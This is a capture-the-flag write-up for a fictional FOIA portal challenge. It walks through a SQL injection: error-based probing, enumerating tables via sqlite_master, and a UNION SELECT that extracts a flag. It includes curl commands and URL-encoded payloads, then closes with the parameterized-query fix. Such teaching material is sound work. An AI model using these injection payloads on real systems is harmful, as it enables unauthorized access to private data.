surveillance.archive.gov
Challenge Description
A public-facing FOIA portal for "declassified" documents. The search bar has opinions about your input.
"All records pertaining to Operation NIGHTJAR have been reviewed and found to contain nothing of interest. We promise."
We're given access to deadrop.two-shoes.org/foia, a fake government Freedom of Information Act portal with a searchable archive of declassified documents.
Recon
The landing page presents a search bar and a list of recently released documents. Before touching the search, I read through the visible documents to understand the environment. Document #7, Operation NIGHTJAR, Annex B, contains this line:
Annex C withheld under classification category DO_NOT_DECLASSIFY.
That string is doing double duty as flavor text and a hint. Keep it in mind.
Finding the Injection Point
The search URL looks like:
/foia/search?q=NIGHTJAR
Trying a single quote immediately breaks the query:
/foia/search?q='
The response includes a database error box:
// DATABASE ERROR - QUERY EXECUTION FAILED
unrecognized token: "'"
Error messages are being reflected back to us, intentional leak, helpful for debugging injections. The backend is constructing a raw SQL query with our input interpolated directly. The query is almost certainly:
SELECT id, title, content, classification, date
FROM documents
WHERE visible=1 AND title LIKE '%[INPUT]%'
Five columns selected. We need to match that column count for a UNION injection.
Enumerating the Schema
Before going straight for the flag, confirm the table exists using sqlite_master: SQLite's equivalent of information_schema.tables:
' UNION SELECT 1,name,'TABLE_ENUM','2000-01-01','SCHEMA' FROM sqlite_master WHERE type='table'--
URL-encoded:
/foia/search?q=%27+UNION+SELECT+1%2Cname%2C%27TABLE_ENUM%27%2C%272000-01-01%27%2C%27SCHEMA%27+FROM+sqlite_master+WHERE+type%3D%27table%27--
Results surface two table names in the title column:
documents
DO_NOT_DECLASSIFY
There it is. One public table, one hidden table named exactly what the document hinted at.
Extracting the Flag
Now extract the content column from DO_NOT_DECLASSIFY. The public documents table has 5 columns, match them:
' UNION SELECT id, content, 'RECOVERED', '1900-01-01', 'CLASSIFIED'
FROM DO_NOT_DECLASSIFY--
The result card appears in the search results with a green ⚑ CLASSIFIED DATA EXPOSED badge, and the flag surfaces in the title field:
DEADROP{foia_request_denied_anyway}
Full Solve
# 1. Confirm injection
curl "https://deadrop.sh/foia/search?q='"
# 2. Enumerate tables via sqlite_master
curl "https://deadrop.two-shoes.org/foia/search?q=%27+UNION+SELECT+1%2Cname%2C%27x%27%2C%271900-01-01%27%2C%27x%27+FROM+sqlite_master+WHERE+type%3D%27table%27--"
# 3. Extract flag
curl "https://deadrop.sh/foia/search?q=%27+UNION+SELECT+id%2Ccontent%2C%27RECOVERED%27%2C%271900-01-01%27%2C%27CLASSIFIED%27+FROM+DO_NOT_DECLASSIFY--"
Intended Solve Path
The challenge is designed with a natural breadcrumb trail:
- Read the documents → Doc #7 mentions
DO_NOT_DECLASSIFYas a classification category - Break the search → Single quote surfaces an error and confirms raw SQL interpolation
- Enumerate sqlite_master → Confirms
DO_NOT_DECLASSIFYis a real table - UNION extract → 5-column UNION pulls the flag from the hidden table
You could skip steps 1-2 entirely if you go straight for sqlite_master enumeration on principle, that's valid too. The hints are there for players who need a nudge.
Key Takeaways
1. Never interpolate user input directly into SQL. The fix is one line, use parameterized queries:
# Vulnerable
sql = f"SELECT ... WHERE title LIKE '%{query}%'"
# Fixed
sql = "SELECT ... WHERE title LIKE ?"
db.execute(sql, (f'%{query}%',))
2. Error messages are intelligence. Leaking raw database exceptions tells an attacker the backend type, query structure, and syntax expectations. In production, log errors server-side and return a generic message to the client.
3. Hidden tables aren't hidden. If the database user has SELECT privileges on sqlite_master (or information_schema in MySQL/Postgres), any table name is enumerable via SQLi, even if it's never referenced in application code.
Flag
DEADROP{foia_request_denied_anyway}